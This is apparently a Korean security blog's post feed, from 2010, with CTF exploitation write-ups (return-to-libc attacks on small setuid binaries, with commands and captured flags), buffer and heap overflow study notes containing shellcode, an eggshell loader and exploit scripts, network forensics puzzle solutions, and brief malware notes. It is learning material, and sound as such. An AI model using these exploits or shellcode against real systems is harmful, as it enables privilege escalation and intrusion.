0xbffff694 0xbffff89c 0x41414141 0x42424242 0xbffff69c: 0x43434343 0x00000000 0xbffff744 0xbffff750 0xbffff6ac: 0xb7fff3d0 0x08048310 0xffffffff 0x007dafc4 0xbffff6bc: 0x0804822c 0x00000001 0xbffff700 0x007ca365 0xbffff6cc: 0x007dba98 0xb7fff6a8 0x00addff4 0x00000000 0xbffff6dc: 0x00000000 0xbffff718 0x11c6948b 0xde5d23f5 0xbffff6ec: 0x00000000 0x00000000 0x00000000 0x00000002 0xbffff6fc: 0x08048310 0x00000000 0x007d0630 0x00983adb (gdb) ret의 주소는 0x080483e7 이고 argv의 주소는 0xbffff744 이군요. 이제 ret를 몇개 넣어야 execl() 함수에 도달할 수 있는지 계산해 보도록 하겠습니다.\n1 2 3 [tril100@cnuhansa byjjoon]$ python -c \u0026#34;print (0xbffff744-0xbffff69c)/4\u0026#34; 42 [tril100@cnuhansa byjjoon]$ 42개의 ret가 필요합니다. 이제 인자로 줄 코드를 작성하도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 [tril100@cnuhansa byjjoon]$ cat \u0026gt; shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, 0); } [tril100@cnuhansa byjjoon]$ gcc -o shell shell.c shell.c: In function ‘main’: shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’ [tril100@cnuhansa byjjoon]$ 이제 공격을 해보도록 하겠습니다. 공격코드는 다음과 같습니다. [AAAABBBB] + [RET * 42] + [execl()] + [인자1] + [인자2]\n다만 위 공격코드를 execl() 함수의 주소가 맞을때 까지 쉘스크립트를 이용하여 루프를 돌리도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 [tril100@cnuhansa byjjoon]$ while(true) ; do ../../exploitme `python -c \u0026#34;print \u0026#39;AAAABBBB\u0026#39; + \u0026#39;\\xe7\\x83\\x04\\x08\u0026#39;*42 + \u0026#39;\\x30\\xd3\\xac\\x00\u0026#39; + \u0026#39; ./shell\u0026#39; + \u0026#39; ./shell\u0026#39;\u0026#34;` ; done 세그멘테이션 오류 세그멘테이션 오류 . . [중략] . . 세그멘테이션 오류 세그멘테이션 오류 sh-4.0$ id uid=506(tril100) gid=503(boom100) groups=506(tril100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 sh-4.0$ cat ../../../boom100/key isItSoS1lly? sh-4.0$ ","date":"2010-02-21T07:16:29Z","permalink":"/2010/02/21/padocon-2010-ctf-trililogy100-%ED%92%80%EC%9D%B4/","title":"PADOCON 2010 CTF - trililogy100 풀이"},{"content":"PADOCON 2010 CTF가 끝나고 system 문제를 못푼게 한이 되어 공부하고 나서 다시 풀어 기록을 남깁니다.\nSubject : karma100 Type : exploitme Examiner : padocon Point : 400\nssh ip : 168.188.130.218 id : karma100 pw : 0x1738a731 먼저 접속을 하여 문제 서버의 환경을 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [karma100@padocon ~]$ python -c \u0026#34;import os ; print os.uname()\u0026#34; (\u0026#39;Linux\u0026#39;, \u0026#39;padocon\u0026#39;, \u0026#39;2.6.31.5-127.fc12.i686\u0026#39;, \u0026#39;#1 SMP Sat Nov 7 21:41:45 EST 2009\u0026#39;, \u0026#39;i686\u0026#39;) [karma100@padocon ~]$ cat /etc/fedora-release Fedora release 12 (Constantine) [karma100@padocon ~]$ sysctl -a | grep random error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.random.poolsize = 4096 kernel.random.entropy_avail = 163 kernel.random.read_wakeup_threshold = 64 kernel.random.write_wakeup_threshold = 128 kernel.random.boot_id = 2811c7d8-a576-46a4-9e09-b46481d0ad2b kernel.random.uuid = e51db0f5-58ed-4bb3-8a82-c0166a3bd649 kernel.randomize_va_space = 2 [karma100@padocon ~]$ sysctl -a | grep exec error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.exec-shield = 1 kernel.core_pattern = |/usr/libexec/hookCCpp /var/cache/abrt %p %s %u OS : Fedora core 12 랜덤 스택\u0026amp;라이브러리 : X 비실행스택 : O\n문제 코드는 아래와 같습니다.\n1 2 3 4 5 6 7 8 9 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; int main( int argc, char *argv[] ) { char buf[4]; strcpy( buf, argv[1] ); return 0; } 비실행 스택이므로 RTL 기법을 이용하여 공격을 하여야 합니다. 공격방법은 ret를 이용하여 execl() 함수를 실행시켜 쉘을 획득하는 방법 입니다. 참고문서 : http://x82.inetcop.org/h0me/papers/FC_exploit/FC4_local_overflow.txt\n먼저 execl() 함수의 주소를 확인 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 [karma100@padocon ~]$ gdb -q exploitme Reading symbols from /home/karma100/exploitme...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x80483ca (gdb) r Starting program: /home/karma100/exploitme Breakpoint 1, 0x080483ca in main () Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686 (gdb) x/x execl 0x850330 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) execl() 함수의 주소는 0x00850330 이군요. 이제 ret 주소 및 argv 주소를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 [karma100@padocon ~]$ gdb -q exploitme Reading symbols from /home/karma100/exploitme...(no debugging symbols found)...done. (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 \u0026lt;main+0\u0026gt;: push %ebp 0x080483c5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x080483c7 \u0026lt;main+3\u0026gt;: sub $0xc,%esp 0x080483ca \u0026lt;main+6\u0026gt;: mov 0xc(%ebp),%eax 0x080483cd \u0026lt;main+9\u0026gt;: add $0x4,%eax 0x080483d0 \u0026lt;main+12\u0026gt;: mov (%eax),%eax 0x080483d2 \u0026lt;main+14\u0026gt;: mov %eax,0x4(%esp) 0x080483d6 \u0026lt;main+18\u0026gt;: lea -0x4(%ebp),%eax 0x080483d9 \u0026lt;main+21\u0026gt;: mov %eax,(%esp) 0x080483dc \u0026lt;main+24\u0026gt;: call 0x80482f4 \u0026lt;strcpy@plt\u0026gt; 0x080483e1 \u0026lt;main+29\u0026gt;: mov $0x0,%eax 0x080483e6 \u0026lt;main+34\u0026gt;: leave 0x080483e7 \u0026lt;main+35\u0026gt;: ret End of assembler dump. (gdb) b *main+29 Breakpoint 1 at 0x80483e1 (gdb) r AAAABBBBCCCC Starting program: /home/karma100/exploitme AAAABBBBCCCC Breakpoint 1, 0x080483e1 in main () Missing separate debuginfos, use: debuginfo-install glibc-2.11.1-1.i686 (gdb) x/32wx $ebp 0xbff29438: 0x42424242 0x43434343 0x00000000 0xbff294e4 0xbff29448: 0xbff294f0 0xb78163d0 0x08048310 0xffffffff 0xbff29458: 0x007b0fc4 0x0804822c 0x00000001 0xbff294a0 0xbff29468: 0x007a0365 0x007b1a98 0xb78166a8 0x00924ff4 0xbff29478: 0x00000000 0x00000000 0xbff294b8 0xf20e82f1 0xbff29488: 0xee70f58e 0x00000000 0x00000000 0x00000000 0xbff29498: 0x00000002 0x08048310 0x00000000 0x007a6630 0xbff294a8: 0x007caadb 0x007b0fc4 0x00000002 0x08048310 (gdb) x/32wx 0xbff294e4 0xbff294e4: 0xbff2a885 0xbff2a89e 0x00000000 0xbff2a8ab 0xbff294f4: 0xbff2a8bc 0xbff2a8d4 0xbff2a8e4 0xbff2a8ef 0xbff29504: 0xbff2a8fd 0xbff2a91d 0xbff2a938 0xbff2a94b 0xbff29514: 0xbff2a959 0xbff2ae40 0xbff2ae4c 0xbff2ae8e 0xbff29524: 0xbff2aeac 0xbff2aebb 0xbff2aece 0xbff2aedf 0xbff29534: 0xbff2aef8 0xbff2af01 0xbff2af18 0xbff2af4b 0xbff29544: 0xbff2af5f 0xbff2af67 0xbff2af78 0xbff2afac 0xbff29554: 0xbff2afce 0x00000000 0x00000020 0x00781414 (gdb) x/s 0xbff2a885 0xbff2a885: \u0026#34;/home/karma100/exploitme\u0026#34; (gdb) x/s 0xbff2a89e 0xbff2a89e: \u0026#34;AAAABBBBCCCC\u0026#34; (gdb) x/32wx $esp 0xbff2942c: 0xbff29434 0xbff2a89e 0x41414141 0x42424242 0xbff2943c: 0x43434343 0x00000000 0xbff294e4 0xbff294f0 0xbff2944c: 0xb78163d0 0x08048310 0xffffffff 0x007b0fc4 0xbff2945c: 0x0804822c 0x00000001 0xbff294a0 0x007a0365 0xbff2946c: 0x007b1a98 0xb78166a8 0x00924ff4 0x00000000 0xbff2947c: 0x00000000 0xbff294b8 0xf20e82f1 0xee70f58e 0xbff2948c: 0x00000000 0x00000000 0x00000000 0x00000002 0xbff2949c: 0x08048310 0x00000000 0x007a6630 0x007caadb ret의 주소는 0x080483e7 이군요. 그리고 argv의 주소는 0xbff294e4 입니다. 이제 몇개의 ret를 넣어야 execl() 함수까지 다다를 수 있는지 계산해 보도록 하겠습니다.\n1 2 [karma100@padocon ~]$ python -c \u0026#34;print (0xbff294e4-0xbff2943c)/4\u0026#34; 42 총 42개의 ret가 필요합니다. 이제 execl() 함수의 인자로 줄 코드를 작성 하도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [karma100@padocon ~]$ cd tmp [karma100@padocon tmp]$ mkdir byjjoon [karma100@padocon tmp]$ cd byjjoon [karma100@padocon byjjoon]$ cat \u0026gt; shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/sh\u0026#34;, \u0026#34;sh\u0026#34;, 0); } [karma100@padocon byjjoon]$ gcc -o shell shell.c shell.c: In function ‘main’: shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’ [karma100@padocon byjjoon]$ ls -al total 20 drwxrwxr-x. 2 karma100 karma100 4096 2010-02-22 09:09 . drwx-wx---. 30 root karma100 4096 2010-02-22 09:08 .. -rwxrwxr-x. 1 karma100 karma100 5338 2010-02-22 09:09 shell -rw-rw-r--. 1 karma100 karma100 130 2010-02-22 09:09 shell.c [karma100@padocon byjjoon]$ 이제 공격을 해보도록 하겠습니다. Payload는 다음과 같습니다. [AAAABBBB] + [RET * 42] + [execl()] + [인자1] + [인자2]\n1 2 3 4 5 6 [karma100@padocon byjjoon]$ ../../exploitme `python -c \u0026#34;print \u0026#39;AAAABBBB\u0026#39; + \u0026#39;\\xe7\\x83\\x04\\x08\u0026#39;*42 + \u0026#39;\\x30\\x03\\x85\\x00\u0026#39; + \u0026#39; ./shell\u0026#39; + \u0026#39; ./shell\u0026#39;\u0026#34;` sh-4.0$ id uid=505(karma100) gid=506(boom300) groups=505(karma100) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 sh-4.0$ cat ../../../boom300/key GlueMelol sh-4.0$ ","date":"2010-02-21T06:14:48Z","permalink":"/2010/02/21/padocon-2010-ctf-karma100-%ED%92%80%EC%9D%B4/","title":"PADOCON 2010 CTF - karma100 풀이"},{"content":"네트워크 포렌직 퍼즐 #1 풀이입니다.\nhttp://forensicscontest.com/2009/09/25/puzzle-1-anns-bad-aim\n1. . What is the name of Ann’s IM buddy?\nSec558user1\nSSL\n패킷을 [TCP Follow Stream] 을 통해 뽑아보면 아래와 같이 대화명을 확인할 수 있다.\nWhat was the first comment in the captured IM conversation?\nHere's the secret recipe... I just downloaded it from the file server. Just copy to a thumb drive and you're good to go \u0026gt;:-) 역시 마찬가지로 [TCP Follow Stream] 메뉴를 통해 확인할 수 있다.\nWhat is the name of the file Ann transferred?\nrecipe.docx 마찬가지다...\n4**. What is the magic number of the file you want to extract (first four bytes)?**\n50 4b 03 04, 0×504B0304\nFilter : tcp.port == 5190\n위와 같이 필터를 설정 후 나오는 패킷을 [TCP Follow Stream] 기능으로 보면 아래와 같이 확인할 수 있다.\n5**. What was the MD5sum of the file?**\n8350582774e1d4dbe1d61d64c89e0ea1\nTCP Follow Stream 에서 처음 받은 데이터를 제외하고 나머지 데이터로만 파일을 만들면 MS Word 파일을 확인할 수 있다.\n6**. What is the secret recipe?**\n첨 부파일의 내용은 아래와 같다.\n","date":"2010-02-14T08:24:18Z","permalink":"/2010/02/14/puzzle-1-anns-bad-aim/","title":"Puzzle #1: Ann’s Bad AIM"},{"content":"네트워크 포렌직 #2 풀이 입니다. http://forensicscontest.com/2009/10/10/puzzle-2-ann-skips-bail\nhttp://forensicscontest.com/contest02/evidence02.pcap MD5 (evidence02.pcap) = cfac149a49175ac8e89d5b5b5d69bad3\nQ1. What is Ann’s email address? sneakyg33k@aol.com\nsmtp로 필터 후 [Follow TCP Stream] 메뉴를 통해 확인할 수 있다.\nQ2. What is Ann’s email password? 558r00lz\nBASE64로 인코딩 되어 있어 디코딩 하면 확인할 수 있다.\nQ3. What is Ann’s secret lover’s email address? mistersecretx@aol.com\n메일을 두번 발송했으나 첫번째 사람에게는 약속을 미루었고 두번째 사람에게 sweetheart! 라는거 보니.....\nQ4. What two items did Ann tell her secret lover to bring? fake passport, bathing suit\n위 이미지에서 확인할 수 있다.\nQ5. What is the NAME of the attachment Ann sent to her secret lover? secretrendezvous.docx\nQ6. What is the MD5sum of the attachment Ann sent to her secret lover? 9e423e11db88f01bbff81172839e1923\nFollow TCP Stream 부분에서 첨부파일 데이터 부분이 Base64로 인코딩 되어 있음을 알 수 있다.\n따라서 해당 데이터 부분만 따로 짤라내어 message.txt 파일로 저장 후 아래 스크립트로 디코딩 할 수 있다.\n1 2 3 4 5 6 7 8 9 10 #!/usr/bin/python import base64 input = open(\u0026#39;message.txt\u0026#39;, \u0026#39;r\u0026#39;) data = input.read() decode = base64.b64decode(data) output = open(\u0026#39;secretrendezvous.docx\u0026#39;, \u0026#39;wb\u0026#39;) output.write(decode) 디코딩 한 파일의 md5 값은 아래와 같다.\nQ7. In what CITY and COUNTRY is their rendez-vous point? docx 파일을 열어보면 아래와 같다.\nQ8. What is the MD5sum of the image embedded in the document? aadeace50997b1ba24b09ac2ef1940b7\ndocx 문서에 포함된 이미지를 따로 뽑아내는 스크립트는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 #!/usr/bin/python file = open(\u0026#39;secretrendezvous.docx\u0026#39;, \u0026#39;rb\u0026#39;) data = file.read() png = open(\u0026#39;output.png\u0026#39;, \u0026#39;wb\u0026#39;) flag = 0 for x in range(len(data)): #.PNG if hex(ord(data[x])) == \u0026#39;0x89\u0026#39;: if hex(ord(data[x+1])) == \u0026#39;0x50\u0026#39;: if hex(ord(data[x+2])) == \u0026#39;0x4e\u0026#39;: if hex(ord(data[x+3])) == \u0026#39;0x47\u0026#39;: flag = 1 #ENDB` elif hex(ord(data[x])) == \u0026#39;0x45\u0026#39;: if hex(ord(data[x+1])) == \u0026#39;0x4e\u0026#39;: if hex(ord(data[x+2])) == \u0026#39;0x44\u0026#39;: if hex(ord(data[x+3])) == \u0026#39;0xae\u0026#39;: if hex(ord(data[x+4])) == \u0026#39;0x42\u0026#39;: if hex(ord(data[x+5])) == \u0026#39;0x60\u0026#39;: if hex(ord(data[x+6])) == \u0026#39;0x82\u0026#39;: for y in range(7): png.write(data[x+y]) break if flag == 1: png.write(data[x]) ","date":"2010-02-12T13:50:51Z","permalink":"/2010/02/12/puzzle-2-ann-skips-bail/","title":"Puzzle #2: Ann Skips Bail"},{"content":"sans 사이트를 보다 네트워크 포렌직 문제가 올라와 있어 한번 풀어 봅니다. 문제는 아래 사이트에서 확인하실 수 있습니다.\n문제 : http://forensicscontest.com/2009/12/28/anns-appletv\nQ1. What is the MAC address of Ann’s AppleTV? Source: Apple_fe:07:c4 (00:25:00:fe:07:c4)\nQ2. What User-Agent string did Ann’s AppleTV use in HTTP requests? User-Agent: AppleTV/2.4\nQ3. What were Ann’s first four search terms on the AppleTV (all incremental searches count)? h, ha, hac, hack Filter : http.request.uri contains \u0026quot;/WebObjects/MZSearch.woa/wa/incrementalSearch?media=movie\u0026quot;\nQ4. What was the title of the first movie Ann clicked on? hacker Filter : http.request.uri contains \u0026quot;/WebObjects/MZStore.woa/wa/viewMovie\u0026quot;\nhttp://ax.itunes.apple.com/WebObjects/MZStore.woa/wa/viewMovie?id=333441649\u0026s=143441\nQ5. What was the full URL to the movie trailer (defined by “preview-url”)? http://a227.v.phobos.apple.com/us/r1000/008/Video/62/bd/1b/mzm.plqacyqb..640x278.h264lc.d2.p.m4v\n4번에서 처음 클릭한 후 바로 다음에 받은 데이터(309번째)를 [TCP Follow Stream] 메뉴를 통해 받은 데이터만 필터 하여 뽑아서 output 으로 저장 후 아래 코드로 gzip 파일을 뽑아낼 수 있다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #!/usr/bin/python pcap = open(\u0026#39;output\u0026#39;, \u0026#39;rb\u0026#39;) data = pcap.read() output1 = open(\u0026#39;output1.gz\u0026#39;, \u0026#39;wb\u0026#39;) output2 = open(\u0026#39;output2.gz\u0026#39;, \u0026#39;wb\u0026#39;) count = 0 flag = 0 for x in range(len(data)): # 1F 8B (gzip header) if hex(ord(data[x])) == \u0026#39;0x1f\u0026#39;: if hex(ord(data[x+1])) == \u0026#39;0x8b\u0026#39;: flag += 1 # HTT elif hex(ord(data[x])) == \u0026#39;0x48\u0026#39;: if hex(ord(data[x+1])) == \u0026#39;0x54\u0026#39;: if hex(ord(data[x+1])) == \u0026#39;0x54\u0026#39;: flag += 1 if flag == 2: output1.write(data[x]) if flag == 4: output2.write(data[x]) 뽑아 낸 후 확인을 하면 아래와 같다.\nQ6. What was the title of the second movie Ann clicked on? Sneakers Filter : http.request.uri contains \u0026quot;/WebObjects/MZStore.woa/wa/viewMovie\u0026quot;\nhttp://ax.itunes.apple.com/WebObjects/MZStore.woa/wa/viewMovie?id=283963264\u0026s=143441\nQ7. What was the price to buy it (defined by “price-display”)? $9.99\n5번과 마찬가지로 Sneakers를 클릭한 다음 받은 데이터(1183 번째)를 [TCP Follow Stream] 메뉴를 통해 뽑아 받은 데이터만 필터 후 5번에서의 코드로 확인하면 아래와 같다.\nQ8. What was the last full term Ann searched for? iknowyourewatchingme Filter : http.request.uri contains \u0026quot;/WebObjects/MZSearch.woa/wa/incrementalSearch?media=movie\u0026quot;\n","date":"2010-02-10T20:41:15Z","permalink":"/2010/02/10/network-forensics/","title":"Puzzle #3: Ann’s AppleTV"},{"content":"OS : Red Hat Linux 6.2\nheap.c\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; int main(int argc, char *argv[]) { FILE *fd; // Allocating memory on the heap char *userinput = malloc(20); char *outputfile = malloc(20); if(argc \u0026lt; 2) { printf(\u0026#34;Usage: %s \u0026lt;string to be written to /tmp/notes\u0026gt;\\n\u0026#34;, argv[0]); exit(0); } // Copy data into heap memory strcpy(outputfile, \u0026#34;/tmp/notes\u0026#34;); strcpy(userinput, argv[1]); // Print out some debug messages printf(\u0026#34;---DEBUG--\\n\u0026#34;); printf(\u0026#34;[*] userinput @ %p: %s\\n\u0026#34;, userinput, userinput); printf(\u0026#34;[*] outputfile @ %p: %s\\n\u0026#34;, outputfile, outputfile); printf(\u0026#34;[*] distance between: %d\\n\u0026#34;, outputfile - userinput); printf(\u0026#34;----------\\n\\n\u0026#34;); // Writing the data out to the file. printf(\u0026#34;Writing to \\\u0026#34;%s\\\u0026#34; to the end of %s...\\n\u0026#34;, userinput, outputfile); fd = fopen(outputfile, \u0026#34;a\u0026#34;); if (fd == NULL) { fprintf(stderr, \u0026#34;error opening %s\\n\u0026#34;, outputfile); exit(1); } fprintf(fd, \u0026#34;%s\\n\u0026#34;, userinput); fclose(fd); return 0; } 위 코드는 힙 오버플로우를 이해하기 위한 예제 코드 이다. 해당 코드는 간단하게 인자로 주는 문자열을 /tmp/notes 파일에 저장하는 코드 이다.\n하지만 인자를 24개 이상 주게 되면 outputfile 부분을 덮어 쓸 수 있다. 이로 인해 우리는 원하는 파일에 원하는 메세지를 삽입할 수 있게 된다.\n위와 같이 /etc/passwd 파일에 원하는 문자열을 삽입하여 루트권한을 획득한 화면이다.\nPoint! 파일 쓰기 관련된 프로그램에서 malloc 으로 변수를 선언할 경우 의심해보도록 하자...\n","date":"2010-02-09T17:24:36Z","permalink":"/2010/02/09/heap-%EC%98%A4%EB%B2%84%ED%94%8C%EB%A1%9C%EC%9A%B0-%EC%8A%A4%ED%84%B0%EB%94%94/","title":"Heap 오버플로우 스터디"},{"content":" 1 2 OS : Red Hat Linux 6.2 조건 : 랜덤 스택 아님, 실행 가능 스택, Buffer의 크기가 아주 작은 경우. 이번에는 Buffer의 크기가 쉘코드를 넣을 수 없을 정도의 작은 크기일 때 공격하는 방법을 알아 보도록 하겠습니다.\nvuln.c\n1 2 3 4 5 6 int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; } 버퍼의 크기가 5 Byte 입니다. 이럴 경우엔 환경변수에 쉘코드를 올려 공격을 할 수 있습니다. 아래 코드는 환경변수에 [NOP] + [SHELLCODE] 그리고 NOP를 가르키는 주소를 환경변수에 올리는 일명 EggShell 코드 입니다.\neggshell.c\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = \u0026#34;\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb\\x16\\x5b\\x31\\xc0\u0026#34; \u0026#34;\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d\u0026#34; \u0026#34;\\x53\\x0c\\xcd\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\u0026#34; \u0026#34;\\x68\u0026#34;; unsigned long get_esp(void) { __asm__(\u0026#34;movl %esp,%eax\u0026#34;); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (!(buff = malloc(bsize))) { printf(\u0026#34;Can\u0026#39;t allocate memory.\\n\u0026#34;); exit(0); } if (!(egg = malloc(eggsize))) { printf(\u0026#34;Can\u0026#39;t allocate memory.\\n\u0026#34;); exit(0); } addr = get_esp() - offset; printf(\u0026#34;Using address: 0x%x\\n\u0026#34;, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i \u0026lt; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i \u0026lt; eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i \u0026lt; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = \u0026#39;\\0\u0026#39;; egg[eggsize - 1] = \u0026#39;\\0\u0026#39;; memcpy(egg,\u0026#34;EGG=\u0026#34;,4); putenv(egg); memcpy(buff,\u0026#34;RET=\u0026#34;,4); putenv(buff); system(\u0026#34;/bin/sh\u0026#34;); } 이제 공격을 해보도록 하죠.\n쉽게 쉘이 떨어졌습니다. 이렇게 환경변수에 코드를 올려 공격을 할 수 있습니다.\nQuestion? 꼭 저렇게 환경변수에 올라간 NOP 주소를 저 코드로만 확인 해야 하는가? 아래와 같이 gdb를 이용해서 환경변수에 올라간 주소를 확인하도록 하자.\n","date":"2010-02-08T15:05:23Z","permalink":"/2010/02/08/bof-study-%EB%91%90%EB%B2%88%EC%A7%B8/","title":"BOF 스터디 - 두번째"},{"content":"파도콘 CTF 이후 시스템 공부를 안한지 너무 오래 된거 같아 다시 한번 처음부터 Hacking: The Art of Exploitation 책을 보며 차근차근 공부해 보고자 한다... 작심삼일이 되지 않도록 꾸준히 해서 좀 잘해보도록 하자 -_-\n1 2 OS : Red Hat Linux 6.2 조건 : 랜덤 스택 아님, 실행 가능 스택, 충분한 크기의 버퍼 공격 타켓 소스 (vuln.c)\n1 2 3 4 5 6 int main(int argc, char *argv[]) { char buffer[500]; strcpy(buffer, argv[1]); return 0; } 공격 방법은 다음과 같다.\n1 2 [NOP] + [SHELLCODE] + [RET] x byte 46 byte 4*50 byte 46 + 200 = 246 byte 이다. 이제 나머지는 NOP를 채워서 공격 하도록 한다. 그리고 RET 주소를 50배 한 이유는 나중에 NOP 갯수를 넣어 공격 시 확률을 높이기 위해서 이다.\n하지만 이 방법으로 공격을 하려면 스택에 올려놓은 NOP 주소를 RET에 넣어야 한다. 대략적인 위치는 현재 스택 포인터로 확인하는 방법이 있는데 아래와 같은 간단한 소스로 확인할 수 있다.\nget_esp.c\n1 2 3 4 5 6 7 8 9 10 11 12 13 #include \u0026lt;stdio.h\u0026gt; unsigned long get_esp(void) { __asm__(\u0026#34;movl %esp,%eax\u0026#34;); } int main() { long esp; esp = get_esp(); printf(\u0026#34;ESP : 0x%x\\n\u0026#34;, esp); return 0; } 위 코드를 실행하면 아래와 같이 스택 포인터를 얻을 수 있다.\n얻은 스텍의 주소를 RET로 넣은 공격 코드를 만들어 보자. 단 NOP가 몇개 들어갈지 모르니 인자로 받을 수 있도록 작성해보자\nexploit.py\n1 2 3 4 5 6 7 8 9 #!/usr/bin/python import os, sys shellcode = \u0026#39;\\x31\\xc0\\xb0\\x46\\x31\\xdb\\x31\\xc9\\xcd\\x80\\xeb\\x16\\x5b\\x31\\xc0\\x88\\x43\\x07\\x89\\x5b\\x08\\x89\\x43\\x0c\\xb0\\x0b\\x8d\\x4b\\x08\\x8d\\x53\\x0c\\xcd\\x80\\xe8\\xe5\\xff\\xff\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\u0026#39; num = sys.argv[1] nop = \u0026#39;\\x90\u0026#39;* int(num) ret = \u0026#39;\\x6c\\xfb\\xff\\xbf\u0026#39; * 50 # RET * 50 print \u0026#39;len(shellcode) os.execl(\u0026#39;./vuln\u0026#39;, \u0026#39;vuln\u0026#39;, nop + shellcode + ret) 이제 공격을 해보자.\nNOP 개수를 302개 넣었을 때 쉘이 떨어졌다.\n1 2 [NOP] + [SHELLCODE] + [RET] 302 byte 46 byte 200 byte 총 548 byte이다. 즉 아까 다수의 RET를 넣었기 때문에 4번만 시도하면 RET 주소를 맞출 수 있어 쉘이 뜬다.\nQuestion? RET로 줄 주소를 구하는 방법이 저 코드를 쓸 수 밖에 없는 것인가? GDB에서 아래와 같이 했을 때 주소를 구할 수 있을까? b main r AAAAAAAAAAAAAAAAAAAA x/32wx $esp 후 0x41414141 위치를 찾아 해당 주소를 RET로 준다...\n","date":"2010-02-08T10:01:58Z","permalink":"/2010/02/08/bof-%EC%8A%A4%ED%84%B0%EB%94%94-%EC%B2%AB%EB%B2%88%EC%A7%B8/","title":"BOF 스터디 - 첫번째"},{"content":"얼마전 발표된 Internet Explorer 취약점(MS10-002)을 이용한 공격이 이루어 지고 있다. 중국에서 제작된 툴을 이용하여 삽입되는 것으로 보이는 코드가 국내 사이트에 많이 발견되고 있다.\n형태는 항상 주말을 기해 삽입되고 있으며 최종 다운로드 및 실행되는 파일 역시 새로 삽입될때는 국내 안티바이러스 제품에서 진단되지 않는 새로운 파일을 넣고 있다. 대부분 게임핵 류 악성코드로 국내 온라인 게임 계정을 탈취하는 기능을 수행하는 악성코드 이다.\n악성 스크립트 삽입여부를 확인하는 툴은 MDecoder로 확인이 가능하다. MDecoder는 중국에서 제작된 툴로 사이트에 삽입된 스크립트를 단계별로 보여주는 툴이다. 그리고 최근 버젼이 올라가면서 다운로드 되는 최종 PE파일 주소까지 알려주는 기능이 포함되었다.\nMDecoder : http://blog.mtian.net/\n","date":"2010-01-30T10:53:23Z","permalink":"/2010/01/30/%EA%B5%AD%EB%82%B4-%EC%82%AC%EC%9D%B4%ED%8A%B8-%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C-%EC%9C%A0%ED%8F%AC-ms10-002/","title":"국내 사이트 악성코드 유포 - MS10-002"},{"content":"얼마전 분석한 PDF 파일에 대한 분석 과정을 기록합니다. 우선 PDF 파일을 분석하는 방법은 여러 방법이 있지만 제가 사용한 방법이 정석은 아닙니다. 더 좋은 방법이 있으면 공유해 주시면 감사하겠습니다.\nType : PDF document, version 1.6 MD5 : a8e7cbfeb13ddf4c640ed6388663fec4 Size : 8.95KB (9,172 Byte)\n우선 PDF 파일내에 악성 자바스크립트가 있을거라 보고 이전에도 소개한적이 있는 Pdf-Paser 툴을 이용하여 스크립트를 추출해 냅니다. (pdf-paser를 사용하기 위해서는 Python이 설치되어 있어야 합니다.)\npdf-paser : http://blog.didierstevens.com/programs/pdf-tools/ Python : http://python.org/\npdf-paser의 옵션 중 -f 옵션을 사용하면 PDF 파일내에 있는 모든 항목을 디코딩 하여 뿌려줍니다. 따라서 아래와 같이 하여 output.txt 파일에 저장을 합니다.\n이제 output.txt 파일을 메모장이나 기타 에디터로 열어 확인을 합니다. 확인을 하면 82 라인에 